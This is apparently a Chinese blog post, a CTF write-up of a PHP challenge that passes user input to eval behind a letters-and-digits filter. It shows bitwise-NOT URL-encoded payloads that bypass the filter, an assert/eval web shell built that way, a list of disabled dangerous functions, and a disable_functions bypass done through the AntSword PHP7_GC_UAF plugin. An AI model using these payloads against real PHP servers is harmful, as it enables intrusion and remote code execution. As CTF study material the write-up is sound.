携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情
最近几天都没整理博客,有点忙,今晚趁闲下来,赶紧学点东西,最近也到期末周了,赶紧复习,线性代数,linux上面的 都赶紧要学习了,这个时候千万不能被情绪左右,学习第一!
今天看到我的docker笔记还没好好整理,在语雀上面乱七八糟的放着,期末考完试,再把它整理出来。
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
打开题目源码 代码审计 发现绕过有点难 百度人家用的都是urlencode编码 想用phpinfo读取源代码 构造取反读取phpinfo
<?php
$s = 'phpinfo';
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>
payload
?code=(~%8F%97%8F%96%91%99%90)();
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl
构造shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>"
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
然后通过蚁剑连接
但是发现文件不能读取
方法 通过蚁剑的一个插件
下载好后
选择PHP7_GC_UAF
然后会进入到一个终端界面
读取文件